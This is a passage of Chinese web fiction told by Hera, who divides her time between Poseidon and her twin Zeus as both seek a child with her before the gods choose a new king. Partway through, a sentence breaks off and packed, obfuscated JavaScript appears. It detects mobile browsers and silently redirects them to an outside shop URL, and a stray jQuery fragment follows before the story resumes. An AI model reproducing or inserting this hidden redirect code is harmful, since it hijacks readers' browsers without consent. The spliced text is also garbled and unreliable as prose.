那天之后，我的日子是这样过的。
早上在波塞冬的宫殿里醒来，听见海浪翻涌的声音。他总是比我醒得早，我睁开眼睛的时候，他已经靠在床头，手里拿着一卷关于海洋生物的羊皮纸，湛蓝色的眼睛半阖着，像是在读，又像是在听我呼吸的节奏。
我翻身的时候，他会伸手把我散落在脸上的头发拨开：“早。”
“早。”
“今天想做什么？”波塞冬每天都会问这个问题。
他有一张清单，上面列着所有他觉得我可能会喜欢的东西：世界尽头的火山，海底发光的峡谷，新发现的一种会唱歌的贝壳，某个岛屿上开满了一种新出现的花……他每天挑一个，像从宝箱里往外拿礼物，不急不躁，从不重复。
我有时候会选，有时候不会。不选的时候他也不追问，只是把我从床上拉起来，带我出去四处转转，漫无目的。
偶尔他也热衷于给我做饭。很难想象，一个掌管风暴和地震的神，站在灶台前，皱着眉头搅动一锅鱼汤的样子，和他站在黑色礁石上俯瞰海洋的样子，是同一个人。
我们相处得十分融洽，但我并不总是在波塞冬那里。每个月总会有那么几天，我会去奥林匹斯。
——宙斯是另一种味道。
波塞冬是海，宙斯是天。海是有形的、有边界的，你知道它的尽头在哪里，就算看不到也能感觉到。但天不是，天是无边无际的，你永远不知道它的尽头在哪里，甚至不知道它有没有尽头。
和宙斯在一起时，没有白天和黑夜的区别，因为他的宫殿里永远点着金色的火焰，不分昼夜。
他睡觉的样子和波塞冬也不一样。波塞冬睡得很沉，像一块沉入海底的石头，雷打不动。宙斯则睡眠很浅，如同一只随时准备醒来的猛兽，任何细微的声响都会让他眼睫颤动。有时候我会把他的手指一根一根掰开，他就会在半梦半醒之间哼一声，像某种被顺了毛的大型动物的呜咽。
第二天早上醒来的时候，他会用一种完全不同的眼神看我，克制的、贪婪的、欣喜的。
“你还在。”他每次都说，“我以为你走了。”
“我没走。”
那段时间，我在两种味道之间来来回回徘徊。
波塞冬的味道是咸的，像海风，像鱼汤，像他掌心粗粝的纹路。在他的怀抱里，世界是安全的，未来是可以预期的，明天和今天不会有什么不同。这种安全感像一种慢性毒药，刚接触时不觉得，后来才发现自己已经离不开它了。
宙斯的味道是苦的，像松脂，像雷霆过后的空气，像他在睡梦中翻来覆去的身体。和他在一起，世界是不确定的，明天是不可知的。他可能忽然暴怒，可能忽然沉默，可能忽然用那种让人心脏骤停的眼神看着你。这种不安全感像一把没有鞘的刀，握在手里会割伤，但你舍不得放，因为世界上所有让人上瘾的东西，都是锋利的。
波塞冬让我安心，宙斯让我心动。安心和心动之间隔着一整片海洋，我在这片海洋上来回泅渡，湿了干，干了湿，始终找不到一块可以同时拥有两者的陆地。
也许根本就没有这样的陆地。
也许我所寻求的，从来就不是一块陆地。
也许我想要的，就是在海上。
那天，波塞冬带我去了海底峡谷。
他牵着我的手，一步一步走下水，海水自动在我们周围分开，形成一个透明的巨大气泡。我们走在里面，像走在另一个世界的天空下。
峡谷很深，阳光完全无法抵达。四周是无边的黑暗，只有波塞冬掌心里发出的幽蓝色光芒照亮了脚下的路。
峡谷的底部有一种我没有见过的生物——半透明的，发着荧光，像一朵一朵倒扣在海底的蘑菇。波塞冬蹲下来，用手指轻轻碰了一下其中一朵，那朵荧光蘑菇立刻收缩成了一团，然后又慢慢展开，展开的时候释放出无数细小的光点，在我们周围飘散。
“它害羞了。”波塞冬笑着说。
我在那一刻忽然很想问他一个问题：“波塞冬，你是不是想跟我有个孩子？”
他的手停在半空中，指尖的幽蓝色光芒在黑暗中微微颤动。
“是。”他说。
海洋不缺继承人，但他想要一个和我有着某种联系的生命，一个我和他共同创造出来的存在。
“为什么不说？”我问。
他转过头看着我：“因为说出来就变成了要求，不说，就只是愿望。”
同样的对话，亦发生在了我和宙斯之间。
那天奥林匹斯有聚会，我喝了些酒。结束后，我跟着宙斯回到寝殿。
宙斯坐在床边，解开了衣领的扣子，露出锁骨下面一截被火光染成蜜色的皮肤。他的头发散着，垂在肩上，有几缕落在额前。
我靠在窗台上，看着他的侧脸。
他感觉到了我的目光，偏过头来看我：“哥哥，你在看什么？”
“看你。”
“看够了吗？”
“没有。”
他朝我伸出手。
我走过去，没有把手放在他掌心里，而是直接坐到了他腿上。他的手收拢，扣住我的腰，把我往他的方向拉近半寸，低下头把脸埋进我的颈窝里，呼吸温热而急促。
“哥哥，”他的声音闷在我皮肤上，“你想要一个孩子吗？”
“为什么？”
他没有立刻回答。
我耐心地等待着：“宙斯，为什么想跟我有个孩子？”
“因为我怕你走。”他最后说。
“波塞冬已经花了十年时间让你习惯他，而我想要一个更快、更深、更不可逆的，把你和我连在一起的东西。”
“孩子，”他说，“我们的孩子。我的一半，你的一半，流着你的血，也流着我的血。他的身体里，有你的天空，也有我的天空。”
我的神格里除了天空，还有生育。
这是很少有人知道的事，它让我可以孕育子嗣，和谁都可以，和波塞冬，和宙斯，和任何我愿意与之创造生命的人。
这块神格是礼物，也是诅咒。因为它让我多了一种和世界建立联系的方式，但也让我多了一种被世界捆绑的方式。
波塞冬想要我的孩子，宙斯也想要。他们想要的不只是一个孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648419|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子，还有那个孩子所代表的东西——占有，连接，不可撤销的契约。
对于他们，我两个都不愿舍弃，所以我两个都不能完全拥有。我的一部分永远在波塞冬那里，一部分永远在宙斯那里，既不完全是波塞冬的情人，也不完全是宙斯的双生。
我有时候会在深夜醒来，睁着眼睛看着黑暗，想这个问题。
和谁？什么时候？只生一个，还是两个都生？或者一个都不生？
我的神格在体内缓慢跳动，像一颗早已备好的种子，在等一个答案。而我在两种期待之间犹豫，却始终想不好。
但选神王的日子，越来越近了。
某天，奥林匹斯的信使来了，是一个长着翅膀的青年神明，站在波塞冬宫殿的大门外，手里举着一卷用金线封缄的羊皮纸。
波塞冬接过羊皮纸，拆开扫了一眼。
我见他神色不对，问道：“怎么了？”
他把羊皮纸递给我：“要选神王了。”
我接过羊皮纸，上面的字迹是普罗米修斯的。他是泰坦神族，地母盖亚与一代神王乌拉诺斯的儿子，曾在战争中站在了我们这边。
“第三代神王空缺已久，天地秩序待定。兹定于明日正午，在奥林匹斯大殿举行神王遴选，全体神明须出席。候选人名单如下——”
我往下看。
哈迪斯、波塞冬、宙斯、赫拉。
四个名字，分别代表冥府、海洋、天空。其中天空被拆成了两半，我和宙斯各占一半。
我把羊皮纸叠好，还给波塞冬。
“你怎么看？”他问。
“什么怎么看？”
“神王，”他湛蓝色的眼睛里有一层我读不懂的东西，“你觉得谁应该当？”
波塞冬很少问我这种问题，也许是因为那个候选人名单上有我的名字。他知道，名单上虽然有四个名字，但真正的竞争只在两个名字间。
“明天再说。”我说。
……
奥林匹斯大殿从来没有这么满过。
从前任神王克洛诺斯被推翻到现在，这是第一次，所有神明聚集在同一座殿堂里。不仅仅是奥林匹斯神系，还有那些从战争中活下来的一代和二代神明、从海洋深处升起的古老神灵、从冥府裂隙中走出来的地府神祇……
我和波塞冬一起走进来的时候，很多目光落在我们身上。
我穿着他送我的深蓝色礼服，领口和袖口绣着银色的波浪纹，脖子上戴着渐变的珍珠项链。他身着和我同色系的衣袍，上面的银色纹路和我的遥相呼应。
他站在我右边，手臂自然弯着。我的手搭在他的臂弯里，我们看起来像一对。
一对什么？
每个人心里都有不同的答案。
大殿里的人自动让开一条路，不是因为波塞冬，而是因为我，赫拉。作为天空的另一半主宰，没有人知道我会把它给谁。
是给我的双生弟弟，雷电与天空之神，宙斯？
抑或是我的情人，海洋之主，波塞冬？
毫不夸张地讲，今天的神王遴选，我就是那个最重要的变量。